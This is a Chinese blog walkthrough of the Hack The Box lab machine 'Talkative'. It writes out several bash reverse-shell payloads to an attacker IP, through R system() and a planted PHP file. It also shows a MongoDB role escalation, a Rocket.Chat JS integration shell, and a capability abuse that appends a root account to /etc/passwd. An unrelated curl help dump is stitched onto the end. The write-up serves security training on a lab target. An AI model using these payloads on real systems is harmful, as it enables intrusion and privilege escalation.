【Hack The Box】linux练习-- Talkative

HTB 学习笔记

【Hack The Box】linux练习-- Talkative


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

22/tcp   filtered ssh
80/tcp   open     http    Apache httpd 2.4.52
|_http-generator: Bolt
|_http-server-header: Apache/2.4.52 (Debian)
|_http-title: Talkative.htb | Talkative
3000/tcp open     ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Instance-ID: 7BEhgKZrHjYcyBD4y
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Mon, 22 Aug 2022 16:46:57 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <link rel="stylesheet" type="text/css" class="__meteor-css__"
...[snip]...
8080/tcp open     http    Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: jamovi
8081/tcp open     http    Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
8082/tcp open     http    Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=8/22%Time=6303B300%P=x86_64-pc-linux-gnu%r(Ge
...[snip]...
Service Info: Host: 172.17.0.10

80

在这里插入图片描述
在这里插入图片描述

Janit Smith janit@talkative.htb
Matt Williams matt@talkative.htb
Saul Goodman saul@talkative.htb

“产品”部分显示了三种产品。 此处值得注意的是对其他技术的引用。 “Talk-A-Stats”提到 了 Jamovi 。 “Talkforbiz”产品提到了 Rocket Chat 。
在这里插入图片描述

在页面底部,有一个反馈表,其中包含另一个电子邮件地址, support@talkative.htb. 提交该表单会返回错误:

在这里插入图片描述

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2022 15:54:16 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Cache-Control: max-age=0, must-revalidate, private
permissions-policy: interest-cohort=()
X-Powered-By: Bolt
Link: <http://talkative.htb/api/docs.jsonld>; rel="http://www.w3.org/ns/hydra/core#apiDocumentation"
Expires: Mon, 22 Aug 2022 15:54:17 GMT
Vary: Accept-Encoding
Content-Length: 36943
Connection: close
Content-Type: text/html; charset=UTF-8

采用了bolt
目录爆破没有结果

3000

在这里插入图片描述
以前遇到过,弱口令没有,注册会有信息
注册邮箱类似于saul@talkative.htb
在这里插入图片描述
在这里插入图片描述给他发消息他也不回我
在这里插入图片描述但是还是获得了一个可能是用户的东西,除此之外什么都没有

爆破页面之后得到了一个/admin
可是没有什么信息
在这里插入图片描述

8081/8082

在这里插入图片描述这两个应该都是基于8080的服务端口

8080

在这里插入图片描述
这是 jamovi 的一个实例:
在这里插入图片描述并且告诉我们这个版本存在问题1
在这里插入图片描述

尽管它有一个允许通过上传恶意文件进行 XSS 攻击的 CVE。 在这里,我将滥用 jamovi 的内置功能

在这里插入图片描述
R有一个内置的 system 命令 来运行操作系统命令。

# summary(data[1:3])
system ("id",intern = TRUE)

在这里插入图片描述
难道反弹一个shell直接就是root?

# summary(data[1:3])
system ("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/8888 0>&1'" , intern = TRUE

在这里插入图片描述

script /dev/null -c bash

但是没有root.txt
那这是个什么root
也许是在一个容器

root@b06821bbda78:~# hostname
b06821bbda78                    
root@b06821bbda78:~# ip addr  
bash: ip: command not found
root@b06821bbda78:~# ifconfig
bash: ifconfig: command not found
root@b06821bbda78:~# cat /proc/net/fib_trie
Main:
...[snip]...
     +-- 172.18.0.0/16 2 0 2
        +-- 172.18.0.0/30 2 0 2
           |-- 172.18.0.0
              /32 link BROADCAST
              /16 link UNICAST
           |-- 172.18.0.2
...[snip]...

命令都没有。。。
这确实是一个容器,ip是内网ip

172.18.0.2

在这里插入图片描述
发现了omv文件,传到本地
在这里插入图片描述
unzip bolt-administration.omv

cat xdata.json | jq -c '.[]'

有一个js文件,我们用上面的方式打开它
在这里插入图片描述

matt/janit/saul
jeO09ufhWD<s/bZ89h}V<S_DA/)SQWGm>9KHEA

要尝试这凭证,我需要弄清楚我可以在哪里使用它们。 鉴于名称 .ovm文件,似乎是 Bolt CMS。 但在朝那个方向走得太远之前,最好确保它们在其他任何地方都不起作用。

我的第一个想法是通过 SSH 连接到主机,可能是 172.18.0.1。 SSH 是从外部过滤的,但也许从容器中它会起作用。 很遗憾, ssh未安装在容器上。 我可以从上传 凿子 和隧道 ssh我的 VM 上的客户端,但我将首先查看 Web 界面。

jamovi 似乎没有管理界面或任何类型的登录。

当以管理员身份登录时, Rocket Chat 将 在用户菜单中有一个指向“管理”的链接。

而后我试图使用这几个密码ssh对应的账户,但是我失败了
所以我开始尝试密码重用

密码重用

去bolt

http://talkative.htb/bolt/login

在这里插入图片描述
所有的已知账户都不行
但是admin可以
这个密码可以

jeO09ufhWD<s

在这里插入图片描述
在这里插入图片描述
我用的admin但是登陆的事saul,而且我用的是matt的密码
真奇怪
置页面显示 config/config.yaml文件

在这里插入图片描述

在这里插入图片描述
配置文件什么也没有漏出来
在这里插入图片描述
接着还有php文件,如果我能修改他,也许可以执行?
我将尝试一下
在这里插入图片描述是的我可以修改

system("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/7777 0>&1")

在这里插入图片描述
但是出问题了
应该是我没有加结尾
我重置了靶机之后把多余的全部删除

在这里插入图片描述
最终结果如下

<?php
	system("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/7777 0>&1'")
?>

而后刷新页面即可
在这里插入图片描述script /dev/null -c bash

cat /proc/net/fib_trie
+-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.17.0.0/16 2 0 2
        +-- 172.17.0.0/27 2 0 2
           |-- 172.17.0.0
              /32 link BROADCAST
              /16 link UNICAST
           |-- 172.17.0.17
              /32 host LOCAL
        |-- 172.17.255.255
           /32 link BROADCAST
Local:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.17.0.0/16 2 0 2
        +-- 172.17.0.0/27 2 0 2
           |-- 172.17.0.0
              /32 link BROADCAST
              /16 link UNICAST
           |-- 172.17.0.17
              /32 host LOCAL
        |-- 172.17.255.255
           /32 link BROADCAST

主机名为 ba67799048d7,IP 为 172.17.0.10

这个容器确实有 ssh客户端已安装,所以我会在主机上试一试,大概是 172.17.0.1。 考虑到密码与我已经注意到的用户名不匹配,我将尝试名称和密码的所有组合,以及适用于 Bolt 的同一组组合
我们就像另一个容器中的 www-data,因为我们的 ip 是 172.17.0.10 我想 172.17.0.1 存在。

jeO09ufhWD<s

全靠手试,从1开始试
不过好在1就成功了,不然我真的我连端口都转发不出来

在这里插入图片描述

ps auxww | grep docker

所有的文件都在docker中运行

root         916  0.0  1.1 1455780 23636 ?       Ssl  15:21   0:15 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1275  0.0  0.0 1149100  660 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8082 -container-ip 172.18.0.2 -container-port 41339
root        1281  0.0  0.0 1150508  788 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8082 -container-ip 172.18.0.2 -container-port 41339
root        1298  0.0  0.0 1222576  908 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8081 -container-ip 172.18.0.2 -container-port 41338
root        1303  0.0  0.0 1223984 1100 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8081 -container-ip 172.18.0.2 -container-port 41338
root        1320  0.0  0.0 1222832 1364 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8080 -container-ip 172.18.0.2 -container-port 41337
root        1326  0.0  0.0 1076520 1120 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8080 -container-ip 172.18.0.2 -container-port 41337
root        1452  0.0  0.0 1150252  640 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.17.0.3 -container-port 3000
root        1576  0.0  0.0 1222576 1248 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6000 -container-ip 172.17.0.4 -container-port 80
root        1733  0.0  0.0 1148844 1288 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6001 -container-ip 172.17.0.5 -container-port 80
root        1852  0.0  0.0 1148844 1184 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6002 -container-ip 172.17.0.6 -container-port 80
root        1967  0.0  0.0 1149100  608 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6003 -container-ip 172.17.0.7 -container-port 80
root        2077  0.0  0.0 1223984  468 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6004 -container-ip 172.17.0.8 -container-port 80
root        2196  0.0  0.0 1223984  420 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6005 -container-ip 172.17.0.9 -container-port 80
root        2303  0.0  0.0 1075112 1364 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6006 -container-ip 172.17.0.10 -container-port 80
root        2417  0.0  0.0 1149100  812 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6007 -container-ip 172.17.0.11 -container-port 80
root        2535  0.0  0.0 1222576  396 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6008 -container-ip 172.17.0.12 -container-port 80
root        2661  0.0  0.0 1222576  692 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6009 -container-ip 172.17.0.13 -container-port 80
root        2774  0.0  0.0 1075112  672 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6010 -container-ip 172.17.0.14 -container-port 80
root        2889  0.0  0.0 1149100 1424 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6011 -container-ip 172.17.0.15 -container-port 80
root        3004  0.0  0.0 1148844  600 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6012 -container-ip 172.17.0.16 -container-port 80
root        3115  0.0  0.0 1075112  592 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6013 -container-ip 172.17.0.17 -container-port 80
root        3223  0.0  0.0 1222576  420 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6014 -container-ip 172.17.0.18 -container-port 80
root        3338  0.0  0.0 1150252  388 ?        Sl   15:21   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6015 -container-ip 172.17.0.19 -container-port 80
saul        8245  0.0  0.0   6432   656 pts/0    S+   19:59   0:00 grep --color=auto docker

发现只有一个2没有任何的动作
我将ping一下看看他是个什么情况
我将放一个静态nmap,来进行一些扫描

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

在这里插入图片描述
但是默认扫描没有开放的端口
我们多扫一点

./nmap 172.17.0.2 --min-rate 10000 -p-

在这里插入图片描述
27017 通常用于 MongoDB。

远程端口转发

chisel_1.7.7_linux_amd64 server -p 8000 --reverse
./chisel_1.7.7_linux_amd64 client 10.10.14.29:8000 R:27017:172.17.0.2:27017 

在这里插入图片描述
该赋权赋权

mongodb枚举

转发出来以后我们要用本地的mongodb打开
没有的话如下安装

apt install mongodb-clients
mongo

在这里插入图片描述

show databases
use meteor
db.getCollectionNames()

有 59 个集合(如表格),其中大部分以 rocketchat_:

db.users.find()

{ "_id" : "rocket.cat", "createdAt" : ISODate("2021-08-10T19:44:00.224Z"), "avatarOrigin" : "local", "name" : "Rocket.Cat", "username" : "rocket.cat", "status" : "online", "statusDefault" : "online", "utcOffset" : 0, "active" : true, "type" : "bot", "_updatedAt" : ISODate("2021-08-10T19:44:00.615Z"), "roles" : [ "bot" ] }
{ "_id" : "ZLMid6a4h5YEosPQi", "createdAt" : ISODate("2021-08-10T19:49:48.673Z"), "services" : { "password" : { "bcrypt" : "$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y" }, "email" : { "verificationTokens" : [ { "token" : "dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w", "address" : "saul@talkative.htb", "when" : ISODate("2021-08-10T19:49:48.738Z") } ] }, "resume" : { "loginTokens" : [ ] } }, "emails" : [ { "address" : "saul@talkative.htb", "verified" : false } ], "type" : "user", "status" : "offline", "active" : true, "_updatedAt" : ISODate("2022-11-26T14:19:35.252Z"), "roles" : [ "admin" ], "name" : "Saul Goodman", "lastLogin" : ISODate("2022-03-15T17:06:56.543Z"), "statusConnection" : "offline", "username" : "admin", "utcOffset" : 0 }
{ "_id" : "CNT3t4RJkHZFegE3m", "createdAt" : ISODate("2022-11-26T14:45:23.956Z"), "services" : { "password" : { "bcrypt" : "$2b$10$EGrDB..OFWrAaGJ8sg9zgOLkKgmmuO8CapeSeBBz3fLQ6bY9HCde.", "reset" : { "token" : "Tpx9jOL7EBAHtnicU-SwKF9EYZ6eYGqYXHWnd3J8XQe", "email" : "rongsec@talkative.htb", "when" : ISODate("2022-11-26T14:45:30.122Z"), "reason" : "enroll" } }, "email" : { "verificationTokens" : [ { "token" : "lxKfeVzSeDooUp4xoO2jQCYlS4gqdMdThw9KXZH6d0D", "address" : "rongsec@talkative.htb", "when" : ISODate("2022-11-26T14:45:23.998Z") } ] }, "resume" : { "loginTokens" : [ { "when" : ISODate("2022-11-26T14:45:24.419Z"), "hashedToken" : "sWUoHQfWt1HlKpc2xi/wGINv1tLZLX1prB5/E0/6I1U=" } ] } }, "emails" : [ { "address" : "rongsec@talkative.htb", "verified" : false } ], "type" : "user", "status" : "online", "active" : true, "_updatedAt" : ISODate("2022-11-26T14:48:45.044Z"), "roles" : [ "user" ], "name" : "rongsec", "lastLogin" : ISODate("2022-11-26T14:48:45Z"), "statusConnection" : "online", "utcOffset" : -5, "username" : "rongsec" }

在这里插入图片描述

我们目前掌握的用户是admin,而这个服务又是基于rock chet的
所以我想到我之前有一个/admin目录,可以查看一些信息
所以我将利用我的admin权限,赋予我在rock chet创建的用户admin权限,看看会有什么不同

db.users.update({"_id": "CNT3t4RJkHZFegE3m"}, { $set: { "roles" : ["admin"]}})

多了许多东西
在这里插入图片描述在这里插入图片描述我将选择集成模块,而这仅仅是因为他有一个代码块的标志

https://docs.rocket.chat/guides/administration/admin-panel/integrations

官方文档说明了集成模块采用js代码

所以我将输入一个出站js反弹shell代码

https://www.revshells.com/

用这个网站生成
然后再头部加一行

const require = console.log.constructor('return process.mainModule.require')();

用于指向进程,js反弹shell很多都要这么处理,通用的基本上
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述还是个docker用户

script /dev/null -c bash

这是一个docker,所以我会用下面的脚本来枚举docker漏洞

https://github.com/stealthcopter/deepce

因为这个靶机没有wget,所以我们直接base64脚本而后在靶机

echo "" > 1.txt
cat 1.txt | base64 -d > deepce.sh
chmod +x deepce.sh
bash deepce.sh

在这里插入图片描述
没问题,除了下面这个,有capsh依赖项没被安装
在这里插入图片描述
那么我们就要查找一下系统版本然后给靶机安装依赖项,因为他是root,所以才能安装

cat /etc/os-release 

查看系统版本信息
Debian 10 (buster):

下载相关依赖包

wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2-bin_2.25-2_amd64.deb
wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2_2.25-2_amd64.deb

在这里插入图片描述
在这里插入图片描述
同样的方法来传输

而后安装依赖

dpkg -i libcap2_2.25-2_amd64.deb 
dpkg -i libcap2-bin_2.25-2_amd64.deb 

在这里插入图片描述
cap_dac_read_search

cap_dac_read_search滥用

常用的方法有非法读取主机,以及非法写入主机
我将主要利用第二种,因为第一种有现成的工具,这个将在最后说
hachtrick中有提到

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_override

我将按照脚本中的提示编译文件
然后老方法上传到靶机
而后赋权
(文件是priv)
而后执行写入

./priv /etc/hostname a

在这里插入图片描述
现在去到真实的主机上查看,确实已经被覆盖了

现在就开始写入密码

openssl passwd -1 rong

echo 'rong:$1$Dr9BtZXw$VZ7J.H58FZFtxZi3QdqWF.:0:0:pwned:/root:/bin/bash' >> passwd  

./priv /etc/passwd passwd

账号密码都是rong

在这个地方动作要快,然后多试几次,我差不多试了10次才成功

在这里插入图片描述

当您在命令行中输入"curl --help"时,将会显示curl的所有参数和选项,例如: ``` Usage: curl [options...] <url> --abstract-unix-socket <path> Connect via abstract Unix domain socket --alt-svc <AltSvcString> Alternate service to connect to --anyauth Pick any authentication method -b, --cookie <name=data> Cookie string to send to server(s) --cookie-jar <file> File to save response cookies to --create-dirs Create necessary local directory hierarchy --crlf Convert LF to CRLF in upload --crlfile <file> Use this CRL file --data-binary <data> HTTP POST binary data --data-raw <data> HTTP POST data --data-urlencode <data> HTTP POST data url encoded --delegation <LEVEL> GSS-API delegation permission --digest Use HTTP Digest Authentication --disable-eprt Inhibit using EPRT or LPRT --disable-epsv Inhibit using EPSV --disallow-username-in-url Disallow username in url -D, --dump-header <file> Write headers to <file> --egd-file <file> EGD socket path for random data --engine <name> Crypto engine to use --expect100-timeout <seconds> How long to wait for 100-continue --fail-early Fail on first transfer error, do not continue -f, --fail Fail silently (no output at all) on HTTP errors --false-start Enable TLS False Start -F, --form <name=content> Specify multipart MIME data --form-string <name=string> Specify multipart MIME data --ftp-account <data> Account data string --ftp-alternative-to-user <command> String to replace "USER [name]". --ftp-create-dirs Create the remote dirs if not present --ftp-method [multicwd/nocwd/singlecwd] Control CWD usage. --ftp-pasv Use PASV/EPSV instead of PORT -P, --ftp-port <address> Use PORT with address instead of PASV --ftp-pret Send PRET before PASV --ftp-ssl-ccc Send CCC after authenticating --ftp-ssl-ccc-mode [active/passive] Set CCC mode --ftp-ssl-control Require SSL/TLS for FTP login, clear for transfer -G, --get Put the post data in the URL and use GET --globoff Disable URL sequences and ranges using {} and [] -H, --header <header> Pass custom header(s) to server -h, --help This help text --hostpubmd5 <md5> Hex-encoded MD5 string of the host public key. (SSH) -0, --http1.0 Use HTTP 1.0 --http1.1 Use HTTP 1.1 --http2-prior-knowledge Use HTTP/2 without HTTP/1.1 Upgrade --http2 Use HTTP 2 -i, --include Include protocol response headers in the output --insecure Allow insecure server connections when using SSL -I, --head Show document info only -j, --junk-session-cookies Ignore session cookies read from file --keepalive-time <seconds> Interval between keepalive probes --key <key> Private key file name --key-type <type> Private key file type (DER/PEM/ENG) --krb <level> Enable Kerberos with specified security level --libcurl <file> Dump libcurl equivalent code of this command line --limit-rate <speed> Limit transfer speed to RATE -l, --list-only List only mode --local-port <num> Force use of RANGE for local port numbers -L, --location Follow redirects --location-trusted Like --location, and send auth to other hosts --login-options <options> Server login options -M, --manual Display the full manual --mail-from <from> Mail from this address --mail-rcpt <to> Mail to this/these addresses --mail-auth <address> Originator address of the original email --max-filesize <bytes> Maximum file size to download (bytes) --max-redirs <num> Maximum number of redirects allowed -m, --max-time <seconds> Maximum time allowed for the transfer --metalink Process given URLs as metalink XML file --negotiate Use HTTP Negotiate (SPNEGO) authentication -n, --netrc Use netrc authentication --netrc-file <filename> Specify FILE for netrc -N, --no-buffer Disable buffering of the output stream --no-keepalive Disable TCP keepalive on the connection --no-sessionid Disable SSL session-ID reusing --noproxy <no-proxy-list> Do not use proxy for these hosts/networks --ntlm Use HTTP NTLM authentication --oauth2-bearer <token> OAuth 2 Bearer Token -o, --output <file> Write to file instead of stdout --pass <phrase> Pass phrase for the private key --path-as-is Do not squash .. sequences in URL path --pinnedpubkey <hashes> FILE/HASHES Public key to verify peer against -p, --proxytunnel Operate through a HTTP proxy tunnel (using CONNECT) --proto <protocols> Enable/disable specified protocols --proto-default <protocol> Use this protocol if none is specified --proto-redir <protocols> Enable/disable specified protocols on redirect -x, --proxy [protocol://]host[:port] Use this proxy --proxy-anyauth Pick any proxy authentication method --proxy-basic Use Basic authentication on the proxy --proxy-digest Use Digest authentication on the proxy --proxy-header <header> Pass custom header(s) to proxy --proxy-ntlm Use NTLM authentication on the proxy --proxy-service-name <name> SPNEGO proxy service name --proxy-tlsv1 Use TLSv1 for proxy --proxy-tlsv1.0 Use TLSv1.0 for proxy --proxy-tlsv1.1 Use TLSv1.1 for proxy --proxy-tlsv1.2 Use TLSv1.2 for proxy --proxy-tlsv1.3 Use TLSv1.3 for proxy --proxy1.0 Use HTTP/1.0 proxy on given port -U, --proxy-user <user:password> Proxy user and password --proxy1.1 Use HTTP/1.1 proxy on given port --pubkey <key> Public key file name -Q, --quote Send command(s) to server before transfer --random-file <file> File for reading random data from -r, --range <range> Retrieve only the bytes within RANGE --raw Do HTTP "raw"; no transfer decoding --remote-header-name Use the header-provided filename --remote-name-all Use the remote file name for all URLs -O, --remote-name Write output to a file named as the remote file --remote-time Set the remote file's time on the local output --request-target Use this request target instead of the URL -s, --silent Silent mode (don't output anything) --socks4 <host[:port]> SOCKS4 proxy on given host + optional port number --socks4a <host[:port]> SOCKS4a proxy on given host + optional port number --socks5 <host[:port]> SOCKS5 proxy on given host + optional port number --socks5-basic Enable username/password auth for SOCKS5 proxies --socks5-gssapi Enable GSS-API auth for SOCKS5 proxies --socks5-gssapi-nec Compatibility with NEC SOCKS5 server --socks5-gssapi-service <name> SOCKS5 proxy service name for GSS-API --socks5-gssapi-service-principal <name> SOCKS5 proxy service principal for GSS-API --socks5-gssapi-service-credential <file> SOCKS5 proxy service credential for GSS-API --socks5-hostname <host[:port]> SOCKS5 proxy, pass host name to proxy --speed-limit <speed> Stop transfers slower than this --speed-time <seconds> Trigger 'speed-limit' abort after this time --ssl Try SSL/TLS --ssl-reqd Require SSL/TLS -2, --sslv2 Use SSLv2 -3, --sslv3 Use SSLv3 --stderr <file> Where to redirect stderr --styled-output Enable styled output for HTTP headers --suppress-connect-headers Suppress proxy CONNECT response headers --tcp-fastopen Use TCP Fast Open --tcp-nodelay Use the TCP_NODELAY option --tcp-user-timeout <msecs> How long to wait for TCP connect to succeed -t, --telnet-option <OPT=val> Set telnet option --tftp-blksize <value> Set TFTP BLKSIZE option --tftp-no-options Do not send TFTP options requests -z, --time-cond <time> Transfer based on a time condition -1, --tlsv1 Use TLSv1.0 or greater --tlsv1.0 Use TLSv1.0 or greater --tlsv1.1 Use TLSv1.1 or greater --tlsv1.2 Use TLSv1.2 or greater --tlsv1.3 Use TLSv1.3 or greater -t, --trace <file> Write a debug trace to FILE --trace-ascii <file> Like --trace, but without the hex output --trace-time Add time stamps to trace/verbose output --tr-encoding Request compressed transfer encoding -T, --upload-file <file> Transfer local FILE to destination --url <url> URL to work with -B, --use-ascii Use ASCII/text transfer -u, --user <user:password> Server user and password -A, --user-agent <string> Send User-Agent <string> to server -v, --verbose Make the operation more talkative -V, --version Show version number and quit -w, --write-out <format> Use output FORMAT after completion --xattr Store metadata in extended file attributes ``` 这是一个非常详细的curl参数列表,包括了许多高级选项和功能。如果您想深入了解curl的用法和技巧,可以参考官方文档或者其他的curl教程。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值